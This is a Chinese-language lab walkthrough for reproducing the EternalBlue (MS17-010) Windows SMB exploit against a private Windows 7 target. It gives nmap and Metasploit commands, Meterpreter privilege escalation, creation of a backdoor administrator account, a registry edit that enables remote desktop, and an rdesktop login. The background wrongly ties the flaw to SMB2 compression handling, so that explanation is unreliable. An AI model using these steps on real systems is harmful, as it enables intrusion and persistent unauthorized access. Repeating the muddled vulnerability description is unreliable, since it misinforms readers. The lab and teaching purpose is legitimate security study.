永恒之蓝漏洞背景
永恒之蓝漏洞首次公开是在2017年4月14日,当时黑客组织“影子经纪人”(Shadow Brokers)泄露了一批来自美国国家安全局(NSA)的网络攻击工具。这批工具中包含了针对Windows系统的多个高危漏洞,其中“永恒之蓝”是最为著名的一个。
永恒之蓝漏洞原理
永恒之蓝漏洞存在于Windows系统的SMBv1协议中,具体来说是在处理SMB2协议的压缩功能时出现的。攻击者可以利用这个漏洞远程执行代码,从而获得对目标系统的完全控制权。漏洞的核心在于SMB协议在处理特定类型的网络数据包时存在缓冲区溢出的问题,这使得攻击者能够在未经身份验证的情况下执行任意代码。
永恒之蓝(MS17-010)漏洞复现环境
为了详细说明如何复现永恒之蓝(MS17-010)漏洞,我们将搭建一个实验环境,包括攻击机和靶机的具体配置和IP地址。
实验环境
1. 攻击机
- 操作系统: Kali Linux 64位
- IP地址: 192.168.6.132
- 工具: Metasploit Framework, nmap
2. 靶机
- 操作系统: Windows 7 64位
- IP地址: 192.168.6.134
- 状态: 未安装永恒之蓝漏洞补丁(KB4012212),防火墙关闭,445端口开放
准备工作
关闭Windows防火墙,确保445端口开放。
下载并安装Kali Linux:
访问Kali Linux官方网站下载最新版本的ISO镜像文件。
创建一个新的虚拟机,并安装Kali Linux。
下载并安装Windows 7:
访问MSDN或其他可信来源下载Windows 7的ISO镜像文件。
使用虚拟机软件创建一个新的虚拟机,并安装Windows 7。
确保Windows 7未安装MS17-010漏洞补丁。
永恒之蓝漏洞利用
1. 主机发现
- 工具: 使用nmap或Metasploit进行主机发现。
- 命令
nmap -sP 192.168.6.
0/24
这条命令用于扫描局域网内的存活主机。

2. 端口扫描
- 工具: 使用nmap或Metasploit进行端口扫描。
- 命令:
nmap -sT 192.168.6.134
这条命令用于扫描目标主机的开放端口,特别关注445端口。

3. 检测漏洞
工具: 使用Metasploit的扫描模块。(终端输入“msfconsole”进入)
命令:
use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 192.168.6.134
这条命令用于检测目标主机是否存在永恒之蓝漏洞。

4. 利用漏洞
工具: 使用Metasploit的攻击模块。
命令:
use exploit/windows/smb/ms17_010_eternalblue
这些命令用于利用永恒之蓝漏洞,获取目标主机的控制权。


如图所示,我们已经拿到目标机器的shell
5. 提权
- 工具: Meterpreter
- 命令:
getuid
这条命令用于查看当前会话的用户权限。如果当前用户不是系统管理员,可以尝试提权:getsystem
成功提权后,再次使用‘getuid
‘命令检查当前用户是否已经是系统管理员。
6. 创建后门用户
为创建时靶机用户列表

工具: Meterpreter
命令:
这些命令用于在目标主机上创建一个具有管理员权限的新用户hacker,密码为123456
chcp 65001 //这个命令用于解决shell中文乱码(设置UTF-8编码)
net user hacker 123456 /add
net localgroup administrators hacker /add
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f //这条命令用于打开靶机的远程桌面连接



7. 远程桌面连接
- 工具: Remote Desktop Connection
- 步骤:
- 在Kali Linux中安装
rdesktop
工具:sudo apt-get install rdesktop
- 使用新创建的管理员用户进行远程桌面连接:
rdesktop -u hacker -p 123456 192.168.6.134
- 在Kali Linux中安装


成功连接到靶机
永恒之蓝漏洞影响范围
永恒之蓝漏洞影响了多个版本的Windows系统,包括但不限于:
- Windows 7
- Windows Server 2008
- Windows XP
- Windows 10
此外,使用SMBv1协议的其他设备也可能受到影响,例如某些型号的医疗设备